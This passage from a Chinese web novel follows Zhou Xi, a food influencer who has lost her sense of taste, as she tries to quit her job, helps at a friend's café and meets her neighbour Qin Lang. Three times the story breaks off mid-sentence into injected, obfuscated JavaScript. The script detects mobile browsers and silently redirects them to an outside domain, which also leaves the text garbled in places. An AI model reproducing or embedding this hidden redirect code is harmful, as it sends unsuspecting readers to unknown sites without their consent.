一个像夏天一个像秋天 周禧以为自己喝了点酒应该会很助眠,事实却是她翻来覆去怎么都睡不着。 在车上,她跟李铭则说那句要走了,是想中断话题,切掉一切可能萌发的暧昧。 可静下来又觉得,她确实可以回去了,反正在哪儿都一样。 “回”这个字有些讽刺,她回来回去的,却不觉得哪里是真的归宿。 失眠,无聊的她点进公司的账号看直播。 周禧大学时学的是戏剧文学专业,毕业那年找了个刚成立的影视工作室去做文案小编,创业团队的职责分工没那么明确,一个人抵八个牛马用,她上镜出演了一次美食番,结果稀里糊涂就成了美食博主,之后出了一系列的美食主题微影片,后来公司做大做强做到天使轮,她就成了高级牛马,不仅收入上了几个档次,还拥有了以她的形象ip做食品类的品牌线。 说得热闹,可她顶多也就算个小网红,公司捧她她就有流量,真辞了职,很快也会有新的替代品顶上来。 比如现在,她正在看的视频号里,公司力捧的新人正在直播卖鸭舌,评论里问CC去哪儿了,主播原本无视,后来问的人多了,她只好说CC姐去度假了,又说CC姐走的时候行李箱里一半装的都是这个鸭舌,说得好像她亲眼所见似的。 周禧无语。 然后激情下单了买一斤送两斤的鸭舌大礼包。 半夜头脑不清醒,睡起来看订单才发现地址选择的是沪市家里。 微信里躺着数条老板发来的语音,每条都是60秒,带着晨起的慵懒语调,低沉气泡音听得她起鸡皮疙瘩。 他说:“CC,咱们谈谈。” 周禧不在乎她的气泡音老板,但她在乎自己的新鲜鸭舌。 所以她如同来时那般随意,收拾了行李就买机票回沪市去,走之前分别给田恬和王知夏发了消息,走得洒脱。 王知夏抱怨说还没一起好好吃个饭,田恬更是直接打来视频通话。 这会儿田恬正在商店里,屏幕一转,变成拍食品柜了,玻璃台面下是金黄的鱼片、鱼条,还有个穿着围裙的工作人员正用夹子夹着鱼片在铁板上现烤,黄油上色,让鱼片变得金黄耀眼。 店里人很多,马上就排到田恬了,她伸着手拍给周禧看,在嘈杂的背景音里催促周禧:“你看一下,你看你想要哪个?有安康鱼和鳕鱼,辣的不辣的都来两片?那个黄油鱿鱼条来一斤吧?” 也不给周禧拒绝的机会,说话间已经都让店员打包好了,挂了视频付款,过了会儿又给她重新打回来。 这次田恬已经走出商店,街上行人不少,但说起话来清楚多了。 田恬不和她客气:“我一会儿给你送家里去,你拿着路上吃。” 周禧不想给她添麻烦:“你们店里不是很忙吗?你别折腾了,我不吃。” 田恬:“买都买了,要么你打个车过来拿。” 周禧鼓起腮帮子,用沉默代替回答。 田恬妥协:“那我给你快递过去,寄个特快明早就到了,拿到以后你烤箱复热一下就行!哎对了,我给你放两罐绿茶哈,你们老板爱喝。” 周禧想吐槽两句好友的“妈味”越来越重了,可田恬从小就这性格,她早被安排习惯了。 买的是晚上的航班,出门的时候天色已经黑了。 楼道的感应灯比她的脚步先一步亮起来——是电梯里刚好走出来的隔壁邻居。 挺有电影感的一个场景,他踏出电梯门,感应灯应声而亮,暗色中灯光照亮了他的脸。 周禧于是这次认真看清了他的脸,剑眉,高鼻梁,眼睛蛮大的,穿着暗红色的帽衫卫衣,衬得脸挺白净,但并不斯文,衣服之下明显是那种健身出来的肌肉。 邻居原本已经走出电梯往家走了,看到周禧拉着行李快速锁门要去赶电梯,热心地一个转身,又退回去两步,帮她按住电梯下行按钮,保持电梯门打开着。 周禧冲到电梯里面,才有空对门口的帅哥挥手,说了声“嗨”。 电梯门已经在缓缓关闭,门完全合上之前,她听到他说了句“拜拜”。 -- 周禧第二天在公司会议室见到老板陆玖,微胖身材的男人一见到她,原本严肃的脸上扯出一丝不见底的笑意,抬抬下巴示意她:“来啦,坐。” 这会议室不大,一张大板桌占据了大半的房间,是中层们头脑风暴的小黑屋,离总裁办最近。 陆玖要去给自己泡茶,问周禧喝什么。 周禧有点鄙视自己的狗腿子作风,但她还是从白色皮包里掏出来一盒早上签收的绿茶,推到老板面前:“琴港带来的,记得你挺喜欢,给你捎了盒。” “哇,我确实很喜欢你们那儿的绿茶,有股子豆香的味道。”陆玖当场开了她带来的茶,拿了两个干净的马克杯,用热水洗了一遍过滤掉,再冲泡好端回来,放一杯在周禧面前。 倒不是陆玖不会饮茶,他会的东西多得很,也算见人下菜碟,周禧陪他招待客户的时候,见过他穿着那种改良汉服,盘坐在竹席间拿着茶筅击拂茶粉,侃侃而谈宋代的点茶法。 “怎么样,回家度假,感觉不错?”茶太烫,没法入口,陆玖先跟周禧聊起来了。 他神态自然,好像几天之前把辞呈甩他桌子上的另有其人,而周禧仍是他的心腹大将,从未“背叛”。 之前跑得多潇洒,现在周禧就有多心虚。 她从大四实习就跟着陆玖跑腿,一晃六年多,陆玖对她既是老板,更像导师,她也说不清这算不算是被洗脑了,但说实话,她呆在熟悉的环境里太久,就像被温水煮的青蛙,即使觉得不舒服,却渐渐失去了蹦跶出锅的勇气。 只是既然已经迈出了一只脚,周禧觉得自己就应该试试走出去。 她没回答老板的问题,给自己壮胆似的,强调了一句:“陆老师,我要辞职。” 不是“想”,是“要”。 陆玖的眼皮垂落下去,举起来马克杯小口啜饮一口绿茶,清香浓郁的口感,微苦,带有回甘,很提神。 他问:“为什么?” 周禧:“我辞呈里写了。” 不仅写了,还附带了三甲医院的病例扫描件。 陆玖理所当然地说:“没看,你自己跟我说。” 那天她莫名跑来丢下辞职信就跑,他当时忙着跟助理对一个红毯的流程,之后又去外地出差,回来以后就想到她的事,直接把人叫来面谈。 不能说不把她当回事,但是好像也没很把她当回事。 周禧知道,陆玖不做浪费时间的对话,既然喊她来,就是有了决断。她诚意十足地解释自己那场“大感冒”之后的后遗症,“……我的味觉现在不仅是失灵,而是混乱,有时候尝不到味道,也有时候明明是在吃甜草莓却觉得像在吃腥臭的死鱼。” 最初在感冒康复后失去味觉的时候,周禧其实还有点茫然麻木,也知道有很多人有类似症状,过段时间就恢复味觉了。 她一直等着恢复的时刻,直到那天她吃了同事分食的一颗草莓,惊觉自己有了味觉,只是一股很冲很臭的味道,恶心的让她不顾形象吐了出来。 也因此,有人传言说CC姐这次是要休孕假…… 比起永远尝不到味道,这种忽如其来的混乱更让她难以接受,她头脑一热就递了辞呈:“我的状况没办法继续当美食博主。” 周禧描述病情的时候,陆玖安静地认真倾听,可当她说到自己的工作时,陆玖摆手打断了她,“别说幼稚的话,首先,你不是什么美食博主,其次,美食博主也不必须有味觉。” 周禧抿嘴。 陆玖又端起杯子来饮茶,让她继续说说有什么打算,而他掏出了手机看消息,看似漫不经心,但周禧确定他在听自己说话,并且在找契机给她“一个建议”。 周禧其实没计划,她那天因为一颗草莓冲动辞职,接着就跑回琴港去参加好友的开业礼,忙忙碌碌这几天,都没空想工作的事。 她也想过会不会回去了琴港能获得安全感,能让她觉得工作本来就不是什么重要的事。毕竟她曾经听过“家是一个人的退路”之类的鸡汤,可她回去了才感觉,她……好像无路可退。 所以她为了一箱寄错的鸭舌回来了,摇摆不坚定,迷茫又带着些叛逆。 周禧说:“可能gap一段时间吧,等身体好点再想以后的事。” 这么多年她都没休过几天年假,又赶上疫情连出去玩的次数都有限,相册里跟旅行有关的记忆全是团建。 “嗯,休息休息,你这怎么说都得算工伤,给你带薪休假,五险一金交着,那个断了挺麻烦的。”陆玖在看她朋友圈,一心二用的时候,说话也比较随意,不成句子,但听起来是在为周禧考虑。 周禧更动摇了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周禧不喜欢做带货主播,太紧绷了,镜头里每一个动作每一句话都会被有心人关注甚至曲解。她更多时候是策划以及出镜拍些探店或趣味视频,只是随着她作为CC和品牌捆绑得越来越深,也只能硬着头皮每周“演”一场和厂家斗智斗勇为家人们争取福利的戏码,有时候她自己都想笑场。 陆玖知道她不喜欢,周禧也知道陆玖知道她不喜欢,可是主动中止赚钱是一件很难的事,让老板为了员工心情就主动中止赚钱就更是天方夜谭。 陆玖对周禧的“劝降”适可而止,先礼后兵,结束会议前他也说了两句“狠话”:“你在我这儿,哪怕养老,我也能养着你。但你要是出走,解绑‘禧欢吃’不是一两句话就搞定的,利益牵扯太多方面了,我不知道你是天真还是另有打算,竞业协议你再好好看看,我一会儿还有个招商会要开,先这样吧。” 周禧背上小挎包就走了,有点落荒而逃,尽管她也不知道自己逃的是什么。 穿过华山路,走在梧桐树下的小道上,周禧看这里陌生又熟悉。 一如她回琴港市时,看着那里的一切场景,也是这种陌生又熟悉的感觉。 她觉得很滑稽,读书时不理解什么是浮萍,什么是“笑问客从何处来”,一息间全都懂了。 仰头,春风清新,弥留在梧桐枝头,那些绿色的叶子要等到秋天变黄时才会浪漫。 那时她会在哪里,在做什么呢? 回家正是晚饭时间,周禧从冰箱里拿出用纸袋包装的黄油鱿鱼丝,夹出来一盘放进烤箱,没烤太久就取出来。 尝不到味道。 或许应该去现场,从店员手里拿一份小纸杯装的试吃装,那样才最好吃——就像以前她们仨放假的时候最爱在商场排队干的那样。 她一根根吃着烤出来的鱿鱼丝,偶尔舔一舔指头上残留的黄油,餐边柜的复古音箱上放着电台的音乐,“我们一个像夏天一个像秋天,却总能把冬天变成了春天~” 真应景,周禧笑着拿起手机,想要给田恬发条消息表示感恩。 结果田恬先一步发来“呼救”:“要命了!我们那个兼职的店员把脚摔骨折了!” 王知夏秒回:“在你店里?有监控吗?” 田恬:“那倒不是,在他家摔的……但是我没有店员了!” 王知夏发语音,吐槽他们新店开业,生意也没好到忙不过来吧,两口子自己一边接待一边招人不就得了。最后又说她这两天没课,可以去帮把手。 周禧已经把一盘不知滋味的鱿鱼丝吃完了,她把沾了油的烘焙纸抽出来扔进垃圾桶。 垃圾桶里还有一大袋酱鸭舌,只有一袋开了口,剩下的全都包装完好,孤零零的躺在粉嫩嫩的垃圾袋里——那是今天她吃了一个发现没味道的时候恼羞成怒一股脑扔进去的。 现在,她反思了自己怎么能做浪费粮食这样的坏事后,把垃圾桶里的小零食又都捡回来装进密封袋。 洗手,擦干净,她回复群消息:“我也可以。” 也可以去店里帮忙。 5. 没拉帘子的窗和鸡蛋汉堡 来晤咖啡馆里,王知夏一边嘬着酱鸭舌,一边问周禧:“你什么时候改行当超人了?” 田恬刚面试完一个服务生,不太满意,也拆了个鸭舌开始嘬:“什么年假放一个月啊?你们老板不会是想架空你吧?” 周禧觉得姐妹们也太高看她了,她没告诉她们自己想辞职的事,事实上,她现在也有点拿不定主意了,或许先休息一个月,她真就改变想法了。 她抱着加满冰的柠檬水,嘿嘿笑着听姐妹们说话。 此时正是午后阳光最好的时刻,她们仨坐在靠窗的沙发上,姿态懒散。 “你的三倍espresso好了。”邵海端了杯子送到王知夏面前。 没等王知夏道谢,田恬先皱眉,“这个点你喝什么浓缩?晚上不睡了?” 王知夏投来个“回答正确”的眼神,今晚她还有个线上的剧本会议,确实早睡不了。 田恬念叨完一个,又轮到另一个,“还有你,才几月你就喝冰水?邵海,给她打个蒸汽奶吧,加点坚果!跟你说,你别不当回事……” 周禧任由她安排,两指并拢在眉毛前面一挥:“收到妈咪!” 忙活半天的邵海却不乐意了,他长腿一屈,坐到田恬身边,也拿起袋鸭舌来,问周禧:“你要是来做店员,那我就是你老板了是吧?小周,给我打个蒸汽奶,加点坚果。” 周禧:“邵老板,这是另外的价钱了。” 邵海看田恬:“什么,她还要工资?” 田恬大张旗鼓地跟他密谋:“放心吧,我会赖账的。” 周禧:…… 既然是来帮工的,周禧并没有休息太久,就跟在田恬身后熟悉后厨和点单系统,都不太难,没客人的时候待在这里还挺悠闲的。 也是在会员系统里,周禧看到了充值榜一大姐:ZX,这缩写她熟,知夏呗。 个十百千万,王知夏在这里充了两万块。 周禧悄悄对王知夏比了个赞,姐是真金白银的支持啊。 王知夏是大忙人,看周禧已经就位,她就要撤了,打算回去熟悉一下开会的材料。 周禧也跟着道别,她要回去把行李收拾一下。 田恬留她:“你又不用开会,晚上去我家吃饭呗!” 周禧喜欢跟朋友们一起玩,但也不想没边界感地介入到人家生活里,她摆摆手,“不了,我晕小孩。” 是的,田恬和邵海有个还没出场过的小孩。 田恬撇嘴,周禧笑呵呵地挽着王知夏胳膊走了,“田老板明天见!” 出了门,王知夏忽然皱着眉问她:“我还是觉得奇怪,怎么会放一个月的假啊?就算你说什么采风准备新项目,也很不靠谱。你别是……为了李铭则回来的吧?” 周禧就知道,姐妹会起疑,但没想到是这么个方向。 摇摇头,周禧反问:“跟他有什么关系,我回来是给田恬帮忙啊,我哪里能预判她店员把脚扭了?” 王知夏还是觉得哪里不对劲,她还没追问,周禧又放送一连串消息轰炸她:“带薪休假还不好吗,我又不像你是个工作狂!等田恬这边店员招到了,我就出去旅游去,新马泰先走一圈,签证下得快就再去欧洲逛逛。” 王知夏果然被转移了注意力,掐着指头盘算自己有没有空档和她一起去玩,到了停车场也没算明白,她干脆邀请周禧:“既然要呆一阵子,没事的话去我那儿住几天?” 周禧:“行啊。” 王知夏:“……我就是客气客气。” 周禧:“我跟你客气什么?” 王知夏:“得,那你下周来住吧,我过两天要去北城开会。” 愉快地约定好了同居时间,周禧蹭王知夏的车先回了家。 太阳正要落山,被黑暗一口一口吞噬的不仅仅是湛蓝的天空,还有周禧的胃口。 本来有些饿的,可是顺着街道上那一排小饭馆回来,闻着明明应该是爆香的炒菜味道,她却没由来的想吐。 她想,大概是在田恬的店里吃喝了太多,已经吃饱了。 味觉失灵后,她也失去了对饥饿的判断,时常不知道自己的胃是否已经填满。 烦燥,进而是闷热。 周禧进到家门时,额头已经一层薄汗。 原打算直接冲个澡,可看到门口堆放的乱七八糟的行李,她又变了主意,还是先整理干净吧,省得再出一身汗。 玄关旁的衣架上挂了干净的衣服,周禧拿了一件过膝的长T恤打算当家居服,抬手就把身上的短袖针织衫兜头脱下来。 待要解牛仔裤的扣子时,听到外面“咚”的一声,像是单元门摔上的声音。 周禧的心也跟着咯噔一声,飞快地把长T先套上,再回头看。 她在沪市的家呆习惯了,忘记这个房子的格局设计是不一样的,玄关连着厨房的门,而厨房里那扇窗正对着单元之间的连廊——通常情况下那里不会有人经过,除非是有人坐了隔壁单元的电梯,再从安全通道门过来。 天已经擦黑,从屋里看屋外什么都看不清,也不知道刚才路过的人看没看到她。 周禧有些不安,跑进洗手间继续换好了衣服,然后一边收拾行李,一边竖起耳朵听门外的动静。 大约过了二十分钟,在她已经放松下来时,有人敲门。 这敲门声音让她的心又高高悬起。 周禧趴到猫眼上看,门外,站着隔壁邻居,那个打过两次照面的帅哥。 她不说话。 他也就没继续敲。 楼道里的感应灯灭了,他跺了跺脚,灯又亮起来,而周禧依旧没开门。 于是帅哥邻居就回家了。 周禧听到隔壁的门关上,心跳依旧乱得不行。那不是见色起意的小鹿乱撞,而是一个独居女性的警惕敏感,毕竟她看过太多极端的社会新闻,即使已经独自漂泊了这么久,也还是没有什么强大心脏能面不改色地处理这种问题。 不知道是不是紧绷的弦让她大脑兴奋,又或许是因为无所事事的状态让生物钟触底反弹,就像连续加班半个月半死不活起不来床,真放了假却又睡不着了。 周禧不到六点就睁开了眼。 她把脚伸出床外,用脚趾勾着窗帘拉开条缝,看窗外的电线杆,还有蹦跳着多嘴的麻雀,像是五线谱上跳跃的音符。 咖啡馆九点半开门,她九点到就行了。回笼觉睡不着,周禧干脆起床,想去早市上转转,看能买点什么吃的。 一晚上没进食,饿了。 清早的道路还没有拥堵的车流,空气一如洒水车经过的柏油路一样清新,环卫工拿着大扫把在“刷刷”地清理地面,狭窄的人行道上有牵着大狗遛弯的老人。 周禧听到自己的脚步声,也听到狗狗的脚步声。 啪、啪,哒哒哒哒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006077|161936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她的心好像就静下来,在这样安静的早晨。 走了蛮久,步入早市周边时,氛围变得不同,陡然热闹了起来。 这是个临时的市场,就在公园门外居民区附近,天不亮出摊,到八九点就散了。 道路两旁有卖瓜果蔬菜的,也有各种吃食小摊,面食居多。 周禧在入口的地方先买了一袋豆浆,长条塑料袋装着的,插上吸管就能喝。她买的是甜豆浆,但是喝起来跟原味的没区别,对她来说都是有点糊嘴的水的味道。 边喝边走,边物色有什么吃的。 炸山药片看起来很香,来一包;蜂蜜小面包的底烤的金黄焦脆,来一板;还有鸡蛋汉堡,蛋黄打在肉饼上的样子好滑弹…… 周禧排到了队伍的末尾,决定用这新鲜出炉的鸡蛋汉堡结束早市之旅。 人一多,就挡路了。 有公园晨练的人陆续从门口进出,周禧听到一声“借过”,很自觉地侧转身子让开,再一抬头,发现要她让路的正是她昨晚防备着的邻居。 光天化日,朗朗乾坤,她倒没夜里那么害怕了。 甚至没由来地感到些许抱歉,为她昨晚的“小人之心”。 原本邻居没注意看挡路的人的,但他很敏锐地察觉到有人在看他,所以也投来了目光,并且认出了周禧。 周禧看他,他穿着白色的运动半裤,黑色的背心,脖子上挂着骨传导耳机,鬓角湿漉漉的,看着好像是刚晨跑完。 “美女要几个?”就这一会儿功夫,排队排到周禧了,她再看一眼邻居,邻居没走,似乎等她。 周禧要了两个鸡蛋汉堡,然后递给邻居一个,友善地问:“你吃早饭了吗?” “谢谢,正好饿了。”邻居接过小袋子,没什么帅哥包袱,直接站在路边咬了一大口,再回头问周禧,“你回去吗,一起走?” 周禧点头,她确实要回去了,没必要为了躲他刻意改变计划。 有些路太窄,两个人没法并肩通行,周禧就走在他斜后方,也因此能方便的观察他。他挺高的,胳膊上果然全是肌肉,近距离的压迫感尤其明显,偏偏他说话时爱笑,又带着几分亲近人的样子。 昨晚隔着猫眼看到人家魁梧的身材感觉危险的是她,今早直观鉴赏过后又暗自意动的也是她。 女人是这样的,感性和理性并存。 周禧见他几口就把鸡蛋汉堡吃完了,把自己手里剩下的那个也给他。 对方似乎犹豫了几秒,但也没问她怎么不吃,道了谢又拿走吃了。 确实很好吃。 周禧在他第二个鸡蛋汉堡也快吃完的时候,此地无银三百两地开口:“昨天我没在家。” “咳——”邻居被呛了一下,停住脚步回头看她,一脸认真地点点头,“我也没找你。” 说完继续往回走,这事就算翻篇了。 周禧有一瞬间感觉,昨晚如果真开了门,可能也没什么事,或者有,也是别的故事了。 “对了。”邻居把吃完食物的袋子扔进垃圾桶,自我介绍道,“我叫秦朗,朗朗上口的朗。” “哦。”周禧又递给他一袋小面包,“你还吃吗?” 秦朗这次没犹豫了,直接掏出来一个小面包,边吃边问,“善良的人类饲养员,你叫什么名字?” 她被他的称呼逗笑,“周禧,恭贺新禧的禧。” 6. 顺路而已 周禧又是第一个到咖啡馆的,这次她有钥匙了,不必蹲在院门口等。 田恬跟邵海没多久也来了,还带来个腿部挂件——一个脸颊肉嘟嘟的小男孩。 田恬跟儿子介绍周禧,“圈宝,这是妈妈的好朋友周禧,你可以叫她CC姨姨。” “嗨~西西姨姨~”圈宝对周禧挥挥小手,咬字还有点走音。 小孩才刚三岁,正是可爱的时候,周禧摸摸他的脑袋,问他想吃什么,她可以给他做。 圈宝不客气地仰着头点单:“一串糖葫芦,谢谢!” 他说话的时候小手手还伸出食指比了个“1”,眼睛里满是光芒。 周禧打了个响指:“没问题!” 咖啡馆里今天一早来了两位客人,是两个高中生,点了咖啡就到角落的桌子对坐着掏出书本。 周禧去给他们送饮品时看了一眼,一男一女两个学生,目光纯粹干净,偶尔交流几句,其他时候都在认真低头写作业…… 周禧去后厨看了看田恬,田恬正在打蛋和面,要烤小蛋糕。 因为答应了要给圈宝做糖葫芦,周禧看店里这会儿没客人,就在田恬手边翻找了几样原料,拿竹签串了两串草莓和蓝莓,又在纸杯里放了四勺白砂糖两勺白开水,搅拌均匀放进微波炉里,高火2分钟后拿出来用筷子蘸了蘸,已经能拉丝了。 周禧站在玻璃窗前,一边看着外面店里情况,一边做糖葫芦。 简单的作法其实是把草莓整个放进杯子里滚一滚裹一层糖衣就行了,但她想着小朋友吃太多糖对牙不好,耐着性子用筷子蘸一坨糖浆,滴在草莓上开始旋转,转出一层层糖丝,像穿着棉花糖似的。 田恬站在她身后,也看了眼玻璃窗外,看到那对高中生,小声感慨了句“真好啊”,不管是友情还是什么,总之就是,真好啊。 周禧笑:“你现在倒是宽容了,以前不是恨不得给我拴个绳子攥在手里,不许我靠近李铭则。” 田恬:“那能一样吗?!” 周禧在田姐发表长篇大论前,举着两串糖葫芦逃了出去。 一看到周禧手里的好吃的,本来还挺文静的小圈宝开启嗞哇乱叫模式,一手一串糖葫芦,左一口右一口吃得飞快,像是害怕吃慢了会被他爸抢走似的。 不过这小子还残留一点良心,拿着啃过的草莓问周禧:“你要不要吃一口?” 周禧看到红彤彤的草莓,脑海里却闪现出那天令人作呕的味道。她强作淡定,笑着说“谢谢不用了”,圈宝就乐呵着自己继续吃了。 邵海在仓库里清点过原料,拎着辆滑板车来,要把儿子带去外面公园玩。 那两串糖葫芦本来就不大,已经被圈宝吃得差不多了,他迫不及待要跟爸爸去玩,顺从地用湿纸巾擦了手,跟周禧挥挥手道别,走之前还抓了一把薄荷糖,送给角落学习那一桌的哥哥姐姐,“爸爸说我吵到你们了,对不起哦,拜拜~” 店里恢复了安静。 周禧坐在前台的高脚木椅上,托着腮发呆。 只有一桌客人,视线不自觉又落了过去。 她看到阳光透过彩色玻璃饰品照到了女孩的背上,就像一双收拢的翅膀。 周禧说田恬以前恨不得给自己拴个绳子,不是夸张。因为那时候的周禧就像是李铭则向日葵一样,他在哪儿,她就不自觉看向哪儿。 篮球场叫错名之后,又一次在食堂打饭遇到李铭则的时候,周禧言简意赅地自报家门:“嘿,我叫周禧!” 李铭则抬眼看她。 他身边的同学也看她。 不出意外的起哄声,有人问:“哪个禧啊?” 周禧都没看谁问的,盯着李铭则回答:“恭贺新禧的禧。” “哦~”那个声音说,“就是喜欢的那个喜呗!” 这么直白的调侃,饶是周禧脸皮再厚,也涨红了个透,否认了一句,饭都没打就端着餐盘跑了。 李铭则看着女生落荒而逃的背影,嫌弃地对身边同学说:“多读点书吧,人家是带着示字旁的那个禧。” 大明白同学又起哄了:“哦~示字旁啊,不是衣字旁吗?” 另一个同学立马接他的烂梗:“衣字旁?是兄弟如手足,女人如衣服,谁动他衣服,他断谁手足的那个衣吗~是不是啊刚子?” 李铭则:…… 幼稚,无聊,聒噪。 李铭则也不想吃饭了,拎着餐盘扭头就走,把空盘扔到门口的回收桶里,朝着食堂旁边的小卖部去了。 很合理的,他又遇见了周禧,周禧也没吃饭呢。 小卖部门口人群密集,大家都穿着同样的校服校裤,可李铭则居然一眼就看到了周禧,大概是因为她两只手高举着,一只手拿着两个汉堡,另一只手拿着一瓶可乐的姿势很出众。 周禧也看见他了,长那么帅,很难看不见好吧! 她看到他,立马就喜上眉梢,即便刚刚才因为尴尬落跑。 周禧以为他是来找她的,逆着人群从门口艰难挤出来,挤到他旁边,还没想好说什么,李铭则先开口了。 他问:“里面还有汉堡吗?” 一到饭点,汉堡就是热门单品,经济实惠还好吃。 周禧摇头,“最后两个都被我买了,分你一个?” 李铭则迟疑了一下。 周禧立马补充:“鸡肉卷也没了,饭团也就剩几个了,没事,分你一个吧,我减肥呢!” 减肥还买两个汉堡,还喝可乐吗? 李铭则不由地打量了一下周禧,肥大的秋季校服并不能很好地展现身材,但她和胖也实在沾不上边,最多是脸颊有点婴儿肥罢了。 但他没说“你不用减”,他根本和她就不熟,甚至还因为她叫错自己名字,害他被同学起了个难听的“昵称”。 李铭则从口袋里掏钱包,把汉堡的钱给她,说了声“谢谢”拿了个汉堡就走了。 周禧这次没发愣,快步跟了上去。 李铭则扭头看她,眼神疑惑。 周禧一笑:“顺路啊,我也回教室。” 刚认识的时候,李铭则对她还挺客气的,没说什么就继续和她一起往教学楼走了。 如果是后来被她追烦了的李铭则,这种时候多半会冷着脸怼一句:“不顺路,我去厕所,男、厕、所。” -- “阿禧~”一道软萌清亮的声音唤回周禧的思绪,是圈宝,小孩跟她说:“阿禧,我要嘘嘘。” 周禧:? 她脑子里翻译了一下,这小子说的应该是要上厕所。 她“哦”了一声,跟他说:“找你爸去。” 圈宝小手指着院子外面的方向:“爸爸在忙,妈妈也忙。” 邵海刚才去门口跟司机对货卸货去了,田恬在后厨弄甜点。 周禧佯装很凶的样子:“我看起来很闲吗?” 圈宝摇头:“你不咸,你甜甜呀~” 周禧心里吐槽好友夫妻在家整天说些什么屁话,给纯洁的孩子都教坏了。 咖啡馆里没有厕所,要去院门外面的公厕上,她牵着圈宝的手带他出去,不知道是不是她刚才说话耽误了时间,还是小朋友的自制力太有限,他们刚走到公厕门口,周禧还没把圈宝的背带裤脱下来,他一个哆嗦,裤.裆裤腿就湿漉漉的冒热气了。 周禧:…… 于是好心姨姨的工作量进一步扩大,回去跟田恬一说,田恬告诉她孩子的换洗衣服在哪里,就放心地把孩子丢给她让她帮忙了。 没想到她还没抱怨,孩子先抗议了。 圈宝:“请不要这样!” 周禧:?? 圈宝:“隐私部位,这是我的隐私部位。” 周禧深吸一口气,看着小孩无邪的眼神说出来这么正经的话,又把他领去给他亲妈,“我给你盯蛋糕吧,你儿子安全教育挺到位,不让我给他换裤子。” 田恬看着圈宝肉肉小手紧抓着裤带不放的样子,也无语,一边嘀咕着他刚才找姨姨去上厕所的时候怎么没想着介意,现在又矜持上了。 圈宝振振有辞说着什么“背对着看不见”,听起来小脑袋瓜是有些智慧的,就是不太多。 后厨安静下来,弥散着糕点的甜香,田恬刚才站立的操作台边还放着平板电脑,暂停播放的是什么烘焙教学视频,在讲最新潮流的裱花样式。 她这也不算临时抱佛脚,之前的计划就是开店初期的甜品都从蛋糕店采购成品,省时省力,客流量不大的时候也省钱。 结果昨天蛋糕店有个公司团建的大单,都没打声招呼就放了田恬的鸽子,早上田恬来的时候接到电话说今天的甜品没来得及完成,要下午才能送。 气得田恬立马就开始研究自己烤蛋糕了,想跟蛋糕店分道扬镳。 说实话,在周禧看来,好友这种开店的态度十分儿戏,毕竟她在沪市探的店没有一百也有八十,很多深度访谈都会涉及到流程管理和成本控制。 但她又觉得田恬和邵海俩人这样随便开店的日子过得挺逍遥,他们自己开心就好,不需要她提建议的时候,她就闭嘴。 话可以不说,活不会不做。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006078|161936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>待田恬把收拾干净的圈宝扔给邵海,自己回到后厨的时候,就见周禧已经做了三个可爱的贝果了。 田恬“哇哦”一声叫出来,凑到周禧身边,看到她用的是买来的大盒原味贝果做底,然后做了一组草莓乳酪雪人的样式,现在她又调了奶油的颜色,要做开心果味道的仙人掌样式。 周禧做东西的时候不说话,又做完一组才让田恬把一旁晾着的纸杯蛋糕拿过来,“你试试呗,还剩些奶油。” 田恬就着周禧做的那个仙人掌,在纸杯上涂抹。 周禧握着她的手,一点一点修正,很有耐心。 终于把奶油都用完,田恬不自觉地呼了一口气,她都不知道自己什么时候开始屏气的。 她欢欢喜喜地端着托盘,把刚做好的甜点拿去外面展柜里摆好。 正好有新来的客人,田恬大方地拿出两个纸杯蛋糕请她们试吃。 还没落座的客人连连道谢,又盯着在打咖啡的周禧看了一会儿,忍不住问:“你是CC吗?来旅游探店的?” 周禧并不惊讶被认出来,看这桌客人拿着单反和补光灯,她猜大概是做探店自媒体的,认识她也很正常。 她还没说话,田恬先像只老母鸡一样护在了前面,“不是……” “不是旅游,这是我朋友的店,我来玩的。”周禧没用田恬替她遮掩,大大方方承认了,人家想跟她拍合照她也很配合,举着小雪人蛋糕笑得灿烂。 临近中午,邵海要把圈宝送回奶奶家吃饭睡觉,孩子还没玩够,但是挺懂事地没闹腾。他向周禧发出午饭邀约,“阿禧~你要去我奶奶家吃饭吗?我奶奶会做糖醋排骨。” “没大没小。”周禧敲了他脑袋一下,他脑袋好圆,像个土豆子。 之前让他喊CC姨姨,但这四个字他叫急了就像个小结巴,也不知道怎么想的,忽然就喊她“阿禧”,连姨姨都不叫了。 邵海已经把他提溜起来要带走了。 孩子悬在半空中跟周禧挥挥小手:“阿禧拜拜,你明天还来玩哦~我给你带奥特曼!Biubiubiu~” 周禧:谢邀,想罢工了。 午饭时有几个来吃简餐的客人,忙到两点多,店里就清净了,只剩写作业的那两个学生。 周禧找了个有阳光的位置,随手拿了本漂亮封面的书,倚靠着沙发放空。 她发了朋友圈,拍了她做的仙人掌贝果还有田恬做的冰dirty,还有带着一方阳光窗影的书角。不论日子怎么平庸,她的朋友圈永远精致。 第一个点赞的居然是秦朗,她的帅哥邻居,早上回家他非要把早餐钱转给她,于是加了好友。 田恬忙完也坐过来,在周禧对面,欲言又止,想说会不会给她添麻烦,毕竟开业的时候都没想着用周禧的名头做宣传,就是怕涉及到版权的问题,CC不只是她的名字,那是人家公司的产品。 